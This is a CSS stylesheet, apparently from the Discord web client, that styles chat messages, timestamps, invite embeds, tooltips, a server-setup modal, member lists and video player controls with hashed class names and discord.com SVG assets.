.content-2M3n_H .actionAnchor-gzc_5z { color: var(--text-link); }

.low-saturation .content-2M3n_H a { color: var(--interactive-active); text-decoration: none; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .content-2M3n_H { font-weight: 500; }
  .theme-light .content-2M3n_H a { font-weight: 600; }
}

.iconContainer-3GkGRf { position: absolute; width: 2.5rem; right: 100%; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; padding-top: 0.25rem; }

.compact-2zYMSo .iconContainer-3GkGRf { margin-right: 1rem; }

.font-size-24 .cozy-12TNg0 .iconContainer-3GkGRf { width: 3rem; }

.font-size-20 .cozy-12TNg0 .iconContainer-3GkGRf { width: 3.5rem; }

.font-size-18 .cozy-12TNg0 .iconContainer-3GkGRf { width: 4rem; }

.font-size-12 .cozy-12TNg0 .iconContainer-3GkGRf, .font-size-14 .cozy-12TNg0 .iconContainer-3GkGRf, .font-size-15 .cozy-12TNg0 .iconContainer-3GkGRf, .font-size-16 .cozy-12TNg0 .iconContainer-3GkGRf { width: 4.5rem; }

.compact-2zYMSo .iconContainer-3GkGRf { position: relative; width: auto; right: auto; }

.icon-2Po-VO { background-repeat: no-repeat; background-size: 1rem 1rem; }

.iconSize-2tmqqh { width: 1rem; height: 1rem; }

.action-3CzlXl, .actionAnchor-gzc_5z { margin-left: 3px; }

.actionAnchor-gzc_5z { cursor: pointer; }

.timestamp-1E3uAL { display: inline-block; font-size: 0.75rem; line-height: 1.375rem; letter-spacing: 0px; font-weight: 400; text-transform: none; margin-left: 6px; color: var(--text-muted); }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .timestamp-1E3uAL { font-weight: 500; }
}

.background-opacity-low .content-2M3n_H { color: rgb(255, 255, 255); text-shadow: rgb(32, 34, 37) 0px 0px 1px, rgb(32, 34, 37) 1px 1px 0px; }

.background-opacity-low .content-2M3n_H a { color: var(--interactive-active); }

.background-opacity-high .content-2M3n_H, .background-opacity-medium .content-2M3n_H { color: rgb(246, 246, 247); text-shadow: rgb(54, 57, 63) 0px 0px 1px, rgb(54, 57, 63) 1px 1px 0px; }

.background-opacity-high .content-2M3n_H a, .background-opacity-medium .content-2M3n_H a { color: var(--interactive-active); }

.background-opacity-low .timestamp-1E3uAL, .background-opacity-medium .timestamp-1E3uAL { color: rgb(220, 221, 222); }

.background-opacity-high .timestamp-1E3uAL { color: rgb(185, 187, 190); }

.messageApplicationCommand-254pK0 { display: block; }

.messageIconContainer-ATaEy6 { padding-top: 0px; margin: 0px auto; width: 72px; }

.messageIconContainer-ATaEy6 svg { width: 1.25rem; height: 1.25rem; }

.header-2oHmnr { display: flex; -webkit-box-flex: 0; flex: 0 0 100%; flex-wrap: wrap; color: var(--header-primary); }

.username-mkom4A:hover { cursor: pointer; text-decoration: underline; }

.command-2EsN1V { display: inline-block; color: var(--brand-experiment); font-weight: 500; }

.clickableCommand-1wpIdr { cursor: pointer; }

.avatar-2zAdlE { width: 1.125rem; height: 1.125rem; vertical-align: text-top; margin-right: 0.25rem; border-radius: 1rem; }

.application-C5rmZP { font-weight: 500; }

.spine-1UneWn { --gutter-height:1.5rem; --gutter-width:72px; --spine-padding:2px; --spine-width:2px; position: absolute; width: calc(var(--spine-width)*-1/2 + var(--spine-padding)*-1 + var(--gutter-width)/2); height: var(--gutter-height); box-sizing: border-box; bottom: calc(var(--gutter-height)*-1 - var(--spine-padding)); left: calc(var(--spine-width)*-1/2 + var(--gutter-width)/2); border-left: var(--spine-width) solid var(--background-accent); border-bottom: var(--spine-width) solid var(--background-accent); border-right: 0 solid var(--background-accent); border-top: 0 solid var(--background-accent); border-bottom-left-radius: 6px; }

.content-2Kddbs { border-radius: 0.25rem; color: var(--header-secondary); padding: 0.5rem; margin-top: 0.25rem; }

.cozy-3I4Ja9.content-2Kddbs { background-color: var(--background-secondary); }

.compact-38pFhv.messageApplicationCommand-254pK0 { display: flex; margin-left: -4.125rem; margin-bottom: 0.125rem; }

.compact-38pFhv .messageIconContainer-ATaEy6 { top: 0px; right: 0px; margin: 0px; padding-top: 0px; width: 3.75rem; }

.compact-38pFhv .content-2Kddbs { padding: 0px; }

.compact-38pFhv .spine-1UneWn { --gutter-width:100%; --gutter-height:1rem; margin-left: calc(var(--spine-width)*-1); }

.channelNameChange-1wTsWB { color: var(--header-primary); }

.messageContent-3iPlyo { display: inline-block; }

.alertIcon-3BK_0H { color: var(--text-warning); width: 16px; height: 16px; }

.live-vBWnV6 { padding: 0px 6px; font-weight: 600; text-transform: uppercase; }

.liveShapeRound-32u79- { border-radius: 16px; }

.liveShapeRoundLeft-Fg3Fev { border-radius: 16px 0px 0px 16px; }

.liveShapeRoundRight-19jrQx { border-radius: 0px 16px 16px 0px; }

.grey-nh6urR { background-color: var(--interactive-muted); color: var(--interactive-normal); }

.liveLarge-3zs2Zq { font-size: 14px; line-height: 16px; }

.liveSmall-1dy2uA { font-size: 12px; line-height: 16px; }

.iconContainer-4CalaE { width: 40px; margin-right: 16px; }

.inviteHeader-3cFuiB { font-weight: 600; }

.inviteContent-2qZKyW, .inviteHeader-3cFuiB { color: var(--header-primary); }

.content-uyw0IG { margin-bottom: 0.125rem; }

.inviteButton-2fBrOR { margin-top: 8px; }

.manageMessageRow-RX1cCX { margin-top: 8px; display: flex; -webkit-box-align: center; align-items: center; }

.dot-1JLG3l { height: 4px; width: 4px; border-radius: 50%; background-color: var(--text-muted); margin: 0px 4px; }

.compact-gkCGQn { padding-left: 32px; }

.compact-gkCGQn .inviteLink-C_E2t3 { color: var(--text-link); }

.icon-1zIRB4 { height: 1.125rem; width: 1.125rem; }

.icon-3cbZZz { height: 1.125rem; width: 1.125rem; }

.iconWrapper-2Urb3j { width: 1rem; height: 1rem; }

.icon-360yEu { width: 100%; height: 100%; color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.icon-360yEu, .message-o_XyYw { cursor: pointer; }

.cannon-3Yq1jm, .cannonWrapper-1fCcAD { position: absolute; width: 100%; height: 100%; }

.easterEggAnimation-1vLcI9 { position: absolute; width: 196px; height: 196px; }

.easterEggAnimationTopLeft-jwXGvO { top: 0px; left: 0px; transform: scale(-1); }

.easterEggAnimationTopRight-1KUngj { top: 0px; right: 0px; transform: scaleY(-1); }

.easterEggAnimationBottomLeft-3526mm { bottom: 0px; left: 0px; transform: scaleX(-1); }

.easterEggAnimationBottomRight-MAuKgd { bottom: 0px; right: 0px; }

.easterEggAnimationHideLeaf-zpkMGS .userPremiumGuildSubscriptionLeaf, .easterEggAnimationHideLeaf-zpkMGS .userPremiumGuildSubscriptionLeafParent { visibility: hidden; }

.container--XcPWC { max-width: 350px; user-select: text; }

.tooltip-BPhxJN { box-shadow: var(--elevation-high); background-color: var(--background-floating); color: rgb(220, 221, 222); border-radius: 5px; font-size: 16px; line-height: 20px; padding: 8px 12px; overflow-wrap: break-word; }

.tooltipPointer-lElcog { width: 0px; height: 0px; border-right: 5px solid transparent; border-bottom: 5px solid transparent; border-left: 5px solid transparent; border-image: initial; border-top: 5px solid var(--background-floating); pointer-events: none; position: absolute; top: 100%; left: 50%; margin-left: -5px; }

.clickable-3AL_3x { cursor: pointer; }

.mention-z5tRxB { background: none; padding: 0px; }

.spinner-2_i11Y { width: 16px; height: 16px; }

.ephemeral-1PsL1r { position: relative; background-color: var(--brand-experiment-05a); }

.mentioned-xhSam7 { position: relative; background-color: var(--background-mentioned); }

.replying-1x3H0T { position: relative; background-color: var(--brand-experiment-05a); }

.ephemeral-1PsL1r::before, .mentioned-xhSam7::before, .replying-1x3H0T::before { content: ""; position: absolute; display: block; top: 0px; left: 0px; bottom: 0px; pointer-events: none; width: 2px; }

.ephemeral-1PsL1r::before { background-color: var(--brand-experiment); }

.mentioned-xhSam7::before { background-color: var(--info-warning-foreground); }

.replying-1x3H0T::before { background-color: var(--brand-experiment); }

.messageListItem-1-jvGY { outline: none; }

.message-2qnXI6 { padding-right: 48px !important; }

.message-2qnXI6.selected-2P5D_Z, .mouse-mode.full-motion .message-2qnXI6:hover { background-color: var(--background-message-hover); }

.message-2qnXI6.mentioned-xhSam7.selected-2P5D_Z, .mouse-mode.full-motion .mentioned-xhSam7:hover { background-color: var(--background-mentioned-hover); }

.message-2qnXI6.ephemeral-1PsL1r.selected-2P5D_Z, .message-2qnXI6.replying-1x3H0T.selected-2P5D_Z, .mouse-mode.full-motion .ephemeral-1PsL1r:hover, .mouse-mode.full-motion .replying-1x3H0T:hover { background-color: var(--brand-experiment-10a); }

.quotedChatMessage-3HzRaD { position: relative; }

.jump-2-Xh5Z { background-color: var(--background-tertiary); border-radius: 3px; box-sizing: border-box; color: var(--header-secondary); cursor: pointer; display: none; font-size: 12px; font-weight: 500; height: 24px; line-height: 16px; margin-left: 6px; padding: 4px; position: absolute; right: 16px; text-align: center; top: 0px; user-select: none; z-index: 1; }

.quotedChatMessage-3HzRaD:hover .jump-2-Xh5Z { display: block; }

.jump-2-Xh5Z:hover { color: var(--interactive-hover); }

.jump-2-Xh5Z:active { color: var(--interactive-active); transform: translate3d(0px, 1px, 0px); }

.buttons-cl5qTG { opacity: 0; pointer-events: none; }

.message-2qnXI6.selected-2P5D_Z .buttons-cl5qTG, .mouse-mode .message-2qnXI6:hover .buttons-cl5qTG { opacity: 1; pointer-events: auto; }

.cozyMessage-3V1Y8y.groupStart-23k01U { min-height: 2.75rem; }

.systemMessage-1I9LCe.groupStart-23k01U { min-height: 1.375rem; }

.backgroundFlash-24qWLN { -webkit-box-flex: 0; flex: 0 0 auto; }

.channelTextArea-3bF57p { margin-top: 8px; }

.divider-3_HH5L { margin-left: 1rem; margin-right: 0.875rem; }

.disableInteraction-286MMw::after { content: ""; display: block; position: absolute; inset: 0px; }

.theme-dark .mentioned-xhSam7 .mention.interactive:hover, .theme-light .mentioned-xhSam7 .mention.interactive:hover { text-decoration: underline; }

.group-spacing-0 .groupStart-23k01U { margin-top: 0.0625rem; }

.group-spacing-0 .divider-3_HH5L { margin-top: 0px; margin-bottom: -1px; }

.group-spacing-0 .divider-3_HH5L.hasContent-1_DUdQ { margin-top: 1.5rem; margin-bottom: 1.5rem; }

.group-spacing-4 .groupStart-23k01U { margin-top: 0.3125rem; }

.group-spacing-4 .divider-3_HH5L { margin-top: -1px; margin-bottom: 0px; }

.group-spacing-4 .divider-3_HH5L.beforeGroup-1rH1F0 { margin-bottom: -1px; margin-top: 0px; top: 0.125rem; }

.group-spacing-4 .divider-3_HH5L.hasContent-1_DUdQ { margin-top: 1.5rem; margin-bottom: 1.25rem; }

.group-spacing-8 .groupStart-23k01U { margin-top: 0.5625rem; }

.group-spacing-8 .divider-3_HH5L { margin-top: 2px; margin-bottom: 2px; }

.group-spacing-8 .divider-3_HH5L.beforeGroup-1rH1F0 { margin-bottom: -1px; margin-top: 0px; top: 0.25rem; }

.group-spacing-8 .divider-3_HH5L.hasContent-1_DUdQ { margin-top: 1.5rem; margin-bottom: 1rem; }

.group-spacing-16 .groupStart-23k01U { margin-top: 1.0625rem; }

.group-spacing-16 .divider-3_HH5L { margin-top: 4px; margin-bottom: 4px; }

.group-spacing-16 .divider-3_HH5L.beforeGroup-1rH1F0 { margin-bottom: -1px; margin-top: 0px; top: 0.5rem; }

.group-spacing-16 .divider-3_HH5L.hasContent-1_DUdQ { margin-top: 1.5rem; margin-bottom: 0.5rem; }

.group-spacing-24 .groupStart-23k01U { margin-top: 1.5625rem; }

.group-spacing-24 .divider-3_HH5L { margin-top: 4px; margin-bottom: 4px; }

.group-spacing-24 .divider-3_HH5L.beforeGroup-1rH1F0 { margin-bottom: -1px; margin-top: 0px; top: 0.75rem; }

.group-spacing-24 .divider-3_HH5L.hasContent-1_DUdQ { margin-top: 1.5rem; margin-bottom: 0px; }

.backgroundFlash-24qWLN .groupStart-23k01U { margin-top: 0px !important; }

.interactionSending-1jpOwZ { opacity: 0.5; }

.communicationDisabled-1rpgL0 { opacity: 0.3; }

.modal-3V9_NJ { width: 600px; }

.content-3NxBPP { display: flex; text-align: left; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; box-sizing: border-box; padding: 0px 16px 0px 24px; }

.formItem-1uQUh2 { margin-top: 16px; width: 100%; }

.modalHeader-1Iiw1t { text-align: center; margin-top: 32px; }

.messageFormItem-3WBJ0C { width: 100%; }

.message-7J476I { position: relative; border-radius: 4px; border: 1px solid var(--background-tertiary); background-color: var(--background-secondary); max-height: 200px; }

.successModal-3oCWTh { min-width: 600px; }

.successModalContent-3t8pDQ { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; padding: 32px; width: 600px; }

.successModalText-iyKCHJ { margin-top: 8px; margin-bottom: 30px; }

.footer-sQAWBJ { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: end; justify-content: flex-end; margin-top: 32px; }

.description-sydWb2 { margin-top: 8px; }

.descriptionError-3gGZHy { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.headerGuildName-2Ur2UW { color: var(--header-primary); }

.headerGuildBadge-1qhaRY { display: inline-block; margin: 0px 4px 0px 2px; }

.flowerStar-1qlGEL { display: block; }

.main-3auUui { background: var(--background-primary); border-radius: 8px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding: 16px; width: 440px; position: relative; }

.close-2do-tr { position: absolute; top: 16px; right: 16px; padding: 0px; height: 24px; }

.guildIcon-1F8t_p { margin-top: 16px; margin-bottom: 16px; }

.header-QjU-Vz { color: var(--header-secondary); text-align: center; }

.guildDescription-GPbJqa { margin-top: 8px; text-align: center; padding: 0px 8px; }

.choiceHeader-3g-iq5 { margin-top: 32px; align-self: flex-start; }

.options-1VK2u9 { width: 100%; margin-top: 8px; }

.optionContainer-15srkc { margin-top: 8px; background: var(--background-secondary); border-radius: 8px; padding: 12px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.optionContainer-15srkc:hover { background: var(--background-secondary-alt); cursor: pointer; }

.optionTextContainer-1WT7xh { -webkit-box-flex: 1; flex: 1 1 0%; margin-left: 12px; margin-right: 16px; }

.optionArrow-2L2fza { color: var(--text-normal); }

.channelIcon-g61PDh, .optionEmoji-4_u0Ds { width: 24px; height: 24px; }

.channelIcon-g61PDh { box-sizing: border-box; background-color: var(--background-tertiary); color: var(--header-secondary); border-radius: 4px; padding: 4px; }

.channelDescription-1Vw6Lv { color: var(--interactive-active); font-weight: 600; }

.skip-1vOolA { margin-top: 8px; }

.skipColor-3dV-gy { color: var(--interactive-normal); }

.skipColor-3dV-gy:hover { color: var(--interactive-hover); }

.skipColor-3dV-gy:active { color: var(--interactive-active); }

.content-2nLqo5 { height: 100%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; padding: 0px 16px; background-color: var(--background-primary); }

.logo-38EFJz { align-self: center; }

.title-3qCJ_n { font-weight: 700; margin-top: 20px; text-align: center; }

.description-2mNg7U { margin-top: 8px; margin-bottom: 24px; text-align: center; }

.formItem-B8CDn8 { margin-bottom: 16px; }

.footer-3_fPee { position: absolute; width: 100%; bottom: 0px; left: 0px; }

.buttonWrapper--wdcJD { padding: 16px; }

.container-1EZLoU { position: relative; width: 100%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; background-image: url("https://discord.com/assets/42c2c7c4e9cc8342b3d5c34d0211ad69.svg"); background-size: cover; }

.title-iH-KoQ { font-weight: 700; color: rgb(255, 255, 255); z-index: 2; }

.subtitle-dIm9FZ { margin-bottom: 16px; }

.header-145ozL { position: relative; text-align: center; margin-top: 84px; }

.title-3LCw_L { font-weight: 700; margin-bottom: 8px; }

.inputForm-3sTSr- { margin: 8px 0px; }

.formTitle-1jo6fC { color: var(--interactive-normal); margin-bottom: 8px; }

.formTitle-1jo6fC.error-_865Sw { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.input-2PqKpj { background-color: var(--background-secondary); border-radius: 4px; }

.inputInner-1nuSZR { border: 1px solid var(--background-tertiary); border-radius: 4px; }

.connectCTA-1nCf5Y { margin-top: 8px; }

.sidebar-21LluO { width: 240px; height: 464px; position: relative; background: linear-gradient(0deg, rgb(119, 150, 247) -0.45%, rgb(52, 97, 223) 71.18%); }

.art-sLtdnk { background-repeat: no-repeat; background-size: contain; position: absolute; width: 100%; height: 100%; }

.step12Animation-wbM7wI { transition: transform 0.25s ease-in-out 0s, -webkit-transform 0.25s ease-in-out 0s; transform: translateX(240px); }

.step12Animation-wbM7wI.show-3s78Xb { transform: translateX(0px); }

.step24Animation-apkz_k { opacity: 0; transition: opacity 0.25s ease-in-out 0s, transform 0.25s ease-in-out 0s, -webkit-transform 0.25s ease-in-out 0s; transform: translateX(30px); }

.step24Animation-apkz_k.show-3s78Xb { opacity: 1; transform: translateX(0px); }

.step1-12sD_A { background-image: url("https://discord.com/assets/30b0855344a020eac6b0ca6eac7032ec.svg"); transition: transform 0.25s ease-in-out 0s, -webkit-transform 0.25s ease-in-out 0s; transform: translateX(-240px); }

.step1-12sD_A.show-3s78Xb { transform: translateX(0px); }

.step24Clouds-2WGevh { background-image: url("https://discord.com/assets/e3312dc8d97775870f1da4bc1ff61483.svg"); }

.step24Base-1Uy1JF, .step24Clouds-2WGevh { }

.step24Base-1Uy1JF { background-image: url("https://discord.com/assets/3639bb4c56bed95e6f94afc559c43d47.svg"); }

.step24Ground-3yi8li { background-image: url("https://discord.com/assets/5d8ca78c2104a69c181ded43b78e079f.svg"); }

.step2Character-1IAVuz { background-image: url("https://discord.com/assets/11bb4ac0e9948234f1aeb60ec214570c.svg"); }

.step2Character-1IAVuz.show-3s78Xb { transition: opacity 0.25s ease-in-out 0.25s, transform 0.25s ease-in-out 0.25s, -webkit-transform 0.25s ease-in-out 0.25s; }

.step2Base-2s6Yjz { background-image: url("https://discord.com/assets/912c7488630bf6d0da905e3b9293f9eb.svg"); }

.step34Base-1Qli3t { background-image: url("https://discord.com/assets/54b294382d96f7ab297288717b354713.svg"); }

.step34Base-1Qli3t, .step34Flag-1XjCQk { }

.step34Flag-1XjCQk { background-image: url("https://discord.com/assets/c82a338481fab7f7e335bda505e3f345.svg"); }

.step3Character-2PT1Yr { background-image: url("https://discord.com/assets/e5556addb7978d2ae5e26c2ccaba2452.svg"); }

.step3Character-2PT1Yr, .step4Character-1Zi7V2 { }

.step4Character-1Zi7V2 { background-image: url("https://discord.com/assets/accc8b41fc38a312f8279b963469033d.svg"); }

.step24Foreground-2kT3Vo { background-image: url("https://discord.com/assets/f57fff65eb6427350304edd446efbc6d.svg"); }

.modal-1cHBt6 { border-radius: 5px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; overflow: hidden; width: 680px; }

.modal-1cHBt6.completed-MZjhOF { background: linear-gradient(rgb(78, 27, 245) 6.65%, rgb(94, 78, 238) 69.44%, rgb(102, 104, 235) 106.24%); height: 464px; animation: 0.3s ease-in 0s 1 normal none running completed-MZjhOF; }

@-webkit-keyframes completed-MZjhOF { 
  0% { opacity: 0; }
  100% { opacity: 1; }
}

@keyframes completed-MZjhOF { 
  0% { opacity: 0; }
  100% { opacity: 1; }
}

.completedTitle-2PltT9 { font-weight: 700; color: rgb(255, 255, 255); margin-bottom: 16px; }

.sidebar-ZRpudO { position: relative; display: flex; border-radius: 5px 0px 0px 5px; background-color: rgb(255, 255, 255); overflow: hidden; }

.content-1KT39n { padding: 0px; height: 464px; border-radius: 0px; background-color: var(--background-primary); }

.closeButton-3XUE6o { position: absolute; top: 12px; right: 8px; }

.container-3Badw2 { height: 464px; width: 440px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; }

.container-3Badw2.shortFooter-2bmC2G { height: 414px; }

.container-3Badw2.standardFooter-3oKKSX { height: 394px; }

.templates-3g2YRV { padding: 16px; margin-top: 8px; height: auto; }

.footer-Sv35jj { position: absolute; width: 408px; bottom: 0px; animation: 0.3s ease-in-out 0s 1 normal none running footer-Sv35jj; }

.footer-Sv35jj.join-3TAPZ- { -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.customizeGuildTitle-YVzgel { margin-top: 48px; }

@-webkit-keyframes footer-Sv35jj { 
  0% { opacity: 0; }
  100% { opacity: 1; }
}

@keyframes footer-Sv35jj { 
  0% { opacity: 0; }
  100% { opacity: 1; }
}

.joinCTA-1s7TZx { color: hsl(197,calc(var(--saturation-factor, 1)*100%),47.8%); font-weight: 500; }

.tile-2naSqK { position: relative; background-color: rgb(32, 34, 37); border-radius: 8px; box-sizing: border-box; overflow: hidden; }

.tile-2naSqK.noBorder-PlNIZT { border-radius: 0px; }

.avatar-_-TGPX { flex-shrink: 0; }

.memberListItem-2ZX2pl { padding: 4px 8px; margin: 8px -8px; border-radius: 4px; }

.memberListItem-2ZX2pl:last-child { margin-bottom: 4px; }

.memberListItem-2ZX2pl:not(.popoutDisabled-xucru2):hover { cursor: pointer; }

.memberListItemTag-2qWLwe { margin-left: 8px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.username-1Mmpcp { font-weight: 600; }

.theme-dark .memberListItem-2ZX2pl:not(.popoutDisabled-xucru2):hover { background-color: rgb(32, 34, 37); }

.theme-light .memberListItem-2ZX2pl:not(.popoutDisabled-xucru2):hover { background-color: rgb(235, 237, 239); }

.popoutWrapper-3TSaaB { position: relative; left: -30px; width: 200px; display: flex; max-height: 40vh; }

.scroller-2ymjU1 { border-radius: 4px; padding: 8px 16px; background-color: var(--background-floating); }

.viewers-2Dq-Mk { display: flex; -webkit-box-flex: 0; flex-grow: 0; -webkit-box-align: center; align-items: center; position: relative; }

.viewers-2Dq-Mk:hover .popoutWrapper-3TSaaB { visibility: visible; opacity: 1; transform: translateX(0px); }

.viewer-sEl8Uz { margin-left: -2px; -webkit-mask: url("https://discord.com/assets/bdbb8326fbb4834998152887ddbdb0c8.svg") 0% 0% / 100%; mask: url("https://discord.com/assets/bdbb8326fbb4834998152887ddbdb0c8.svg"); mask-type: luminance; }

.viewer-sEl8Uz:last-child { -webkit-mask: none; mask: none; }

.overflow-1ExsZm { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; margin-left: -4px; font-size: 12px; font-weight: 700; letter-spacing: 0.5px; width: 25px; height: 25px; border-radius: 15px; z-index: 2; background-color: rgb(54, 57, 63); color: rgb(185, 187, 190); box-shadow: rgb(0, 0, 0) -1px 0px 0px 1px; }

.memberListHeader-c-ghag { margin-top: 8px; margin-bottom: 12px; text-transform: uppercase; font-weight: 600; }

.memberListHeader-c-ghag, .memberListItemText-Th1aTk { color: var(--header-secondary); }

.viewersIcon-15qGwd { width: 24px; height: 24px; color: rgb(185, 187, 190); display: flex; margin-right: 4px; }

.viewersIcon-15qGwd.activeButton-A0x-10, .viewersIcon-15qGwd:hover { color: rgb(255, 255, 255); }

.viewersTooltipItem-1otSnk { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.memberListItem-3IkoL8:not(.popoutDisabled-161HX0):hover { background-color: var(--background-tertiary); }

.content-1T5kuS { text-align: center; padding: 24px 16px 16px; }

.header-3MQhZN { margin-top: 16px; margin-bottom: 8px; }

.footer-1bV9Ez { -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; }

.videoHeight-Qp_9vC { position: relative; -webkit-box-flex: 0; flex: 0 0 auto; }

.videoHeight-Qp_9vC.animated-UtE465 { transition: height 0.35s ease 0s; }

.videoHeight-Qp_9vC.normal-1jW0uq { height: 50vh; }

.videoHeight-Qp_9vC.minimum-1pRSEN { height: 275px; }

.videoHeight-Qp_9vC.noChat-3nt48u { height: 100vh; }

.videoHeight-Qp_9vC.fullScreen-lH2Q2c { transition: none 0s ease 0s; height: 100vh; position: fixed; inset: 0px; z-index: 100; }

.platform-win .videoHeight-Qp_9vC.normal-1jW0uq { height: calc(50vh - 22px); }

.platform-win .videoHeight-Qp_9vC.noChat-3nt48u { height: calc(100vh - 22px); }

.video-1FfuMD { width: 100%; height: 100%; min-height: 275px; overflow: hidden; background-size: 100%; background-position: 50% center; position: relative; cursor: default; background-color: rgb(24, 25, 28); }

.video-1FfuMD.idle-1sRXLT { cursor: none; }

.video-1FfuMD.fullScreen-lH2Q2c .videoCenter-1nmPrS, .video-1FfuMD.noChat-3nt48u .videoCenter-1nmPrS, .video-1FfuMD.normal-1jW0uq .videoCenter-1nmPrS { align-self: flex-end; }

.video-1FfuMD.fullScreen-lH2Q2c .videoBottom-2_HYXG, .video-1FfuMD.noChat-3nt48u .videoBottom-2_HYXG, .video-1FfuMD.normal-1jW0uq .videoBottom-2_HYXG { transform: translate3d(0px, 8px, 0px); opacity: 0; transition: transform 0.2s ease-in-out 0s, opacity 0.2s ease-in-out 0s, -webkit-transform 0.2s ease-in-out 0s; }

.video-1FfuMD.fullScreen-lH2Q2c:not(.idle-1sRXLT) .videoWrapper-2wbLD-.focused-2WuveL .videoBottom-2_HYXG, .video-1FfuMD.fullScreen-lH2Q2c:not(.idle-1sRXLT) .videoWrapper-2wbLD-:hover .videoBottom-2_HYXG, .video-1FfuMD.noChat-3nt48u:not(.idle-1sRXLT) .videoWrapper-2wbLD-.focused-2WuveL .videoBottom-2_HYXG, .video-1FfuMD.noChat-3nt48u:not(.idle-1sRXLT) .videoWrapper-2wbLD-:hover .videoBottom-2_HYXG, .video-1FfuMD.normal-1jW0uq:not(.idle-1sRXLT) .videoWrapper-2wbLD-.focused-2WuveL .videoBottom-2_HYXG, .video-1FfuMD.normal-1jW0uq:not(.idle-1sRXLT) .videoWrapper-2wbLD-:hover .videoBottom-2_HYXG { transform: translateZ(0px); opacity: 1; }

.videoWrapper-2wbLD- { position: relative; border-radius: 3px; }

.videoInner-3OR9J2 { position: absolute; inset: 0px; overflow: hidden; z-index: 1; pointer-events: none; }

.videoBottom-2_HYXG, .videoCenter-1nmPrS, .videoTop-eOkSPq { pointer-events: all; }

.videoBackground-3AY_fu, .videoBackgroundTransition-3wpOSl { position: absolute; inset: 0px; width: 100%; height: 100%; }

.videoBackgroundTransition-3wpOSl { overflow: hidden; display: flex; -webkit-box-align: center; align-items: center; }

.theme-light .video-1FfuMD.minimum-1pRSEN { background-color: rgb(255, 255, 255); box-shadow: rgb(227, 229, 232) 0px -1px 0px inset; }

.theme-light .video-1FfuMD.noChat-3nt48u .videoBackgroundTransition-3wpOSl { box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.theme-light .video-1FfuMD.noChat-3nt48u .videoTop-eOkSPq, .theme-light .video-1FfuMD.normal-1jW0uq .videoTop-eOkSPq { background-image: linear-gradient(0deg, transparent, rgba(0, 0, 0, 0.9)); }

.theme-dark .video-1FfuMD.noChat-3nt48u .videoBackgroundTransition-3wpOSl { box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.theme-dark .video-1FfuMD.noChat-3nt48u .videoTop-eOkSPq, .theme-dark .video-1FfuMD.normal-1jW0uq .videoTop-eOkSPq { background-image: linear-gradient(0deg, transparent, rgba(0, 0, 0, 0.9)); }

.pictureInPictureVideo-2iKsGg { width: 320px; height: 180px; background: rgb(24, 25, 28); border-radius: 5px; overflow: hidden; transform: translateZ(0px); }

.videoControls-38i4kP { position: absolute; inset: 0px; transition: opacity 0.2s ease-in-out 0s; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: justify; justify-content: space-between; pointer-events: none; padding: 8px; background: linear-gradient(rgb(0, 0, 0), transparent 30%, transparent 60%, rgb(0, 0, 0)); }

.bottomControls-2f_UqT, .topControls-1PHLxx { width: 100%; -webkit-box-flex: 0; flex: 0 1 auto; transform: translateZ(0px); pointer-events: all; transition: transform 0.2s ease-in-out 0s, -webkit-transform 0.2s ease-in-out 0s; }

.bottomControls-2f_UqT { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; color: rgb(255, 255, 255); }

.idle-70Gg3H .videoControls-38i4kP { opacity: 0; }

.idle-70Gg3H .topControls-1PHLxx { transform: translate3d(0px, -8px, 0px); }

.idle-70Gg3H .bottomControls-2f_UqT { transform: translate3d(0px, 8px, 0px); }

.backButton-3c6fw4 { margin-right: 2px; color: rgb(185, 187, 190); flex-shrink: 0; }

.headerBar-2wGwms { padding: 4px 0px 0px; height: auto; }

.topControls-1PHLxx .headerBar-2wGwms { -webkit-app-region: no-drag; }

.headerIdleContainer-16C5Xe { -webkit-box-pack: justify; justify-content: space-between; }

.headerIdleContainer-16C5Xe, .headerTitle-1Y0ywV { flex-shrink: 1; overflow: hidden; display: flex; }

.headerTitle-1Y0ywV { -webkit-box-align: center; align-items: center; -webkit-box-pack: start; justify-content: flex-start; color: rgb(255, 255, 255); border-bottom: 1px solid transparent; margin: 0px; width: min-content; line-height: 20px; }

.headerTitle-1Y0ywV:hover { border-bottom: 1px solid rgb(255, 255, 255); cursor: pointer; }

.headerTitle-1Y0ywV:hover .backButton-3c6fw4 { color: rgb(255, 255, 255); }

.headerText-3RxpQn { flex-shrink: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.menuIcon-1dbDwf { cursor: pointer; }

.keyboard-mode .videoControls-38i4kP { opacity: 1; }

.art-3wzoO6 { width: 100%; background-position: 50% center; background-repeat: no-repeat; background-size: contain; margin-bottom: 16px; }

.art-3wzoO6.small-3EVRHD { display: none; }

